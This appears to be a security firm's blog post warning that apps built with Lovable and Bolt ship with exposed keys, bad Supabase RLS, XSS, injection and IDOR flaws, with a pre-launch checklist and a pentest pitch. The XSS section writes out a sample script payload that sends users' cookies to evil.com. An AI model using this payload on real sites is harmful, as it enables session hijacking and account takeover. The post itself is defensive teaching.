Lovable and Bolt have made it possible for anyone to build a web application in an afternoon. Describe what you want in plain English, and the AI generates a complete, deployable application: frontend, backend, database, authentication, and hosting. It is genuinely impressive technology.
It is also shipping applications with critical security vulnerabilities at a scale the industry has never seen.
We know this firsthand. We built a cybersecurity investor portal with Lovable and ran our own security scanner against it. The scanner found critical vulnerabilities. Lovable let us publish the application anyway. No warnings, no gates, no friction. One click and the vulnerable application was live on the internet.
After reviewing dozens of Lovable and Bolt applications over the past year, the pattern is unmistakable: these tools produce applications that work but are not secure. If you are building with these tools and plan to handle real user data, process payments, or serve customers, this guide is for you.
Why Vibe-Coded Apps Ship With Critical Vulnerabilities
The core issue is incentive alignment. Lovable and Bolt are optimized for one thing: getting a functional application deployed as fast as possible. Speed to deployment is the metric that drives user satisfaction, retention, and revenue for these platforms. Security is friction, and friction is the enemy of the product experience.
This is not malicious. It is structural. The AI models powering these platforms are trained to generate code that satisfies the functional requirements described in the user's prompt. When a user says "build me a project management app with user accounts and team features," the AI generates an app with project management, user accounts, and team features. It does not add rate limiting, it does not implement proper session management, it does not configure Row Level Security policies correctly, and it does not validate inputs on the server side, because none of those things were in the prompt.
The users of these platforms are, by design, people who do not write code professionally. They are founders, product managers, designers, and domain experts who want to bring an idea to life without hiring a development team. They are not in a position to evaluate the security of the generated code because they cannot read the generated code. They trust the platform, and the platform trusts the AI, and the AI trusts its training data, and the training data contains millions of examples of insecure code.
The uncomfortable truth: Lovable and Bolt have democratized software development. They have also democratized the deployment of vulnerable software. Every non-technical founder who ships an AI-generated app without a security review is deploying an application that a moderately skilled attacker can compromise in hours.
Exposed API Keys and Secrets
This is the most consistently observed issue across every Lovable and Bolt application we have reviewed. API keys, database credentials, and third-party service tokens are exposed in client-side code.
Lovable applications built on Supabase (which is the default backend) include the Supabase URL and anonymous API key in the frontend JavaScript. This is technically by design for Supabase's architecture, where Row Level Security (RLS) policies are supposed to restrict what the anonymous key can access. But in practice, the RLS policies generated by Lovable are frequently misconfigured: overly permissive, missing entirely on some tables, or using policies that check authentication status but not resource ownership.
The result is that an attacker can open the browser developer tools, copy the Supabase URL and anonymous key from the JavaScript bundle, and directly query the database using the Supabase client library. If RLS is misconfigured, they can read, modify, or delete data from any table without any authentication at all.
Beyond Supabase credentials, we regularly find: Stripe API keys (sometimes the secret key, not just the publishable key), SendGrid or Resend API keys, OpenAI API keys, and third-party service tokens all present in client-side bundles. Some of these are billed per use. An exposed OpenAI API key can rack up thousands of dollars in charges before anyone notices.
Missing Input Validation
Input validation is the most fundamental security control in web applications, and it is the control most consistently absent from AI-generated code. Lovable and Bolt applications typically validate input on the client side (the form checks that an email looks like an email) but perform no validation on the server side (the API accepts whatever it receives).
This creates vulnerabilities across every input vector in the application. Text fields accept HTML and JavaScript, leading to stored cross-site scripting (XSS). Numeric fields accept negative values, strings, or absurdly large numbers. File uploads accept any file type and size. Search fields pass user input directly into database queries.
XSS in user content
When a Lovable-generated application stores user-provided text (comments, profile descriptions, project names) and renders it on the page, it frequently does so without proper output encoding. An attacker enters <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> as their display name, and every user who views that name has their session cookie stolen.
React, which Lovable and Bolt typically use, provides some XSS protection through JSX escaping. But the AI frequently circumvents this protection by using dangerouslySetInnerHTML to render user content, particularly when the content includes formatting. The name of the property is literally "dangerously" and the AI uses it anyway.
SQL injection patterns
While Supabase's client library provides some protection against traditional SQL injection, applications that use custom database functions, RPC calls, or direct SQL queries (which Bolt applications sometimes generate) remain vulnerable. We have found applications where search functionality passes the user's search term directly into a database function without sanitization, allowing an attacker to escape the search context and execute arbitrary queries.
Broken Authentication and Authorization
Authentication (proving who you are) and authorization (proving what you are allowed to do) are the two most critical security controls in any application that has user accounts. Both are consistently broken in Lovable and Bolt output.
Authentication issues
- Password reset flows that do not properly invalidate tokens after use, allowing a reset link to be reused
- Session management that does not expire sessions on the server side, only on the client
- Email verification that is checked on the frontend but not enforced on the backend, allowing unverified accounts to access the full application by bypassing the frontend check
- OAuth implementations that do not validate the state parameter, enabling CSRF attacks on the login flow
Authorization issues
Authorization is where Lovable and Bolt applications fail most catastrophically. The typical pattern is: the application checks that a user is logged in, but does not check that the logged-in user has permission to access the specific resource they are requesting.
User A can access User B's data by changing an ID in the URL or in an API request. This is Insecure Direct Object Reference (IDOR), and it is present in nearly every vibe-coded application we have tested. The AI builds the feature correctly (you can view your projects) but does not implement the constraint (you can ONLY view YOUR projects).
For applications with role-based access (admin, manager, user), the authorization is frequently implemented only in the frontend UI. The admin panel button is hidden for non-admin users, but the admin API endpoints accept requests from any authenticated user. An attacker who knows the endpoint URL can perform admin actions with a regular user account.
The Pre-Launch Security Checklist
If you have built an application with Lovable, Bolt, or any AI-assisted development tool and plan to deploy it to production, work through this checklist before launch. Each item addresses a specific vulnerability category we see consistently in vibe-coded applications.
| Category | Check | Why It Matters |
|---|---|---|
| Secrets | No API keys, tokens, or credentials in client-side code | Exposed keys lead to account takeover and financial loss |
| Secrets | All secrets stored in server-side environment variables | Client-side code is readable by anyone with a browser |
| Auth | Server-side session validation on every API request | Client-side auth can be bypassed entirely |
| Auth | Resource ownership verified on every data access | Prevents users from accessing each other's data (IDOR) |
| Auth | Admin functions enforce role checks server-side | UI-only role checks are trivially bypassed |
| Input | Server-side validation on all user-controlled input | Client-side validation is a UX feature, not a security control |
| Input | Output encoding on all user content rendered in HTML | Prevents stored XSS attacks |
| Database | RLS policies on every Supabase table (test with raw API calls) | Missing RLS = public read/write access to your database |
| Database | Parameterized queries for all database operations | Prevents SQL injection |
| Headers | Security headers configured (CSP, HSTS, X-Frame-Options) | Mitigates XSS, clickjacking, and protocol downgrade attacks |
| Files | File upload validation (type, size, content) on server side | Prevents malicious file upload and storage abuse |
| CORS | CORS configured for specific origins, not wildcard | Wildcard CORS allows any website to make API calls as your users |
This checklist is a starting point, not a comprehensive security assessment. It catches the most common and most critical issues. A professional penetration test will catch the subtler issues: business logic flaws, race conditions, privilege escalation chains, and authentication bypass techniques that require manual testing to discover.
How a Pentest Catches What the AI Missed
Automated scanners and checklists catch known vulnerability patterns: missing headers, exposed secrets, SQL injection through known vectors. A penetration test goes further by simulating what a real attacker would do to your specific application.
When we pentest a vibe-coded application, we are not just running tools against it. We are understanding how the application works, mapping the trust boundaries, and testing every assumption the AI made about how users would interact with the system. The AI assumed users would follow the intended flow. We deliberately break the flow.
What a pentest finds that automated tools miss
- Business logic flaws. Can a user apply a discount code twice? Can they manipulate quantities to get negative pricing? Can they bypass the payment step and still access paid features?
- Multi-step attack chains. An information disclosure on one endpoint reveals internal IDs that enable IDOR on another endpoint that leaks data sufficient to perform an account takeover on a third endpoint. Automated tools test endpoints in isolation. Pentesters chain them together.
- Authentication bypass. The login flow looks solid, but the password reset flow has a race condition that lets an attacker reset any user's password. Or the OAuth callback does not validate the state parameter, allowing session fixation.
- Privilege escalation. A regular user can modify their JWT token to include admin claims, or a hidden API endpoint responds to admin requests from any authenticated user.
The AI that built the application did not think adversarially. It built what was asked for. A penetration tester thinks like an attacker: what can I access that I should not? What can I modify that I should not? What happens when I do things the application does not expect?
The Cost of Not Securing Your Vibe-Coded App
Founders building with Lovable and Bolt are typically optimizing for speed and cost. They chose these tools specifically to avoid the expense and delay of traditional development. A security assessment feels like the kind of overhead they were trying to avoid.
But the economics are clear. A penetration test for a typical vibe-coded application costs a fraction of the cost of a data breach. A data breach at a startup means: breach notification costs, potential regulatory fines (especially under GDPR or CCPA), loss of customer trust, potential lawsuits if personal data was exposed, and the engineering time to rebuild the application securely after the fact.
For startups preparing for fundraising, a security incident during due diligence is devastating. Investors are increasingly adding security to their due diligence checklists, and a history of security incidents or a visible lack of security controls can kill a deal.
The calculus is straightforward. You can spend a few thousand dollars on a security assessment now, or you can spend orders of magnitude more cleaning up after a breach later. The Lovable and Bolt applications that succeed long-term are the ones that take security seriously before launch, not after their first incident.
A Practical Path Forward
We are not suggesting that you should stop using Lovable or Bolt. These tools are genuinely useful for rapid prototyping and early-stage product development. But there is a clear boundary between "prototype" and "production," and security is one of the primary things that separates them.
For prototypes and internal tools
If the application does not handle real user data, does not process payments, and is not accessible from the public internet, a basic security review using the checklist above is sufficient. Fix the obvious issues (exposed secrets, missing auth) and move on.
For production applications with real users
If real users will create accounts, store data, or make payments through your application, you need a professional security assessment before launch. This means: running the pre-launch checklist, engaging a firm for a web application penetration test, remediating the findings, and having the firm verify the fixes.
For applications targeting enterprise customers
Enterprise buyers will ask for security documentation, pentest reports, and compliance certifications. If you are building with Lovable or Bolt and plan to sell to enterprises, budget for a comprehensive security program from the start: penetration testing, attack surface management, and potentially SOC 2 compliance. The vibe-coded MVP gets you to market fast. The security program is what gets you through enterprise procurement.
The bottom line: Lovable and Bolt are incredible tools for building fast. They are not security tools. The security is your responsibility, and the time to address it is before your first user creates an account, not after your first breach.
Built with Lovable or Bolt? Get a security check before launch.
Lorikeet Security has reviewed dozens of vibe-coded applications and knows exactly where the vulnerabilities hide. Book a consultation to discuss a pre-launch security assessment for your AI-built application.
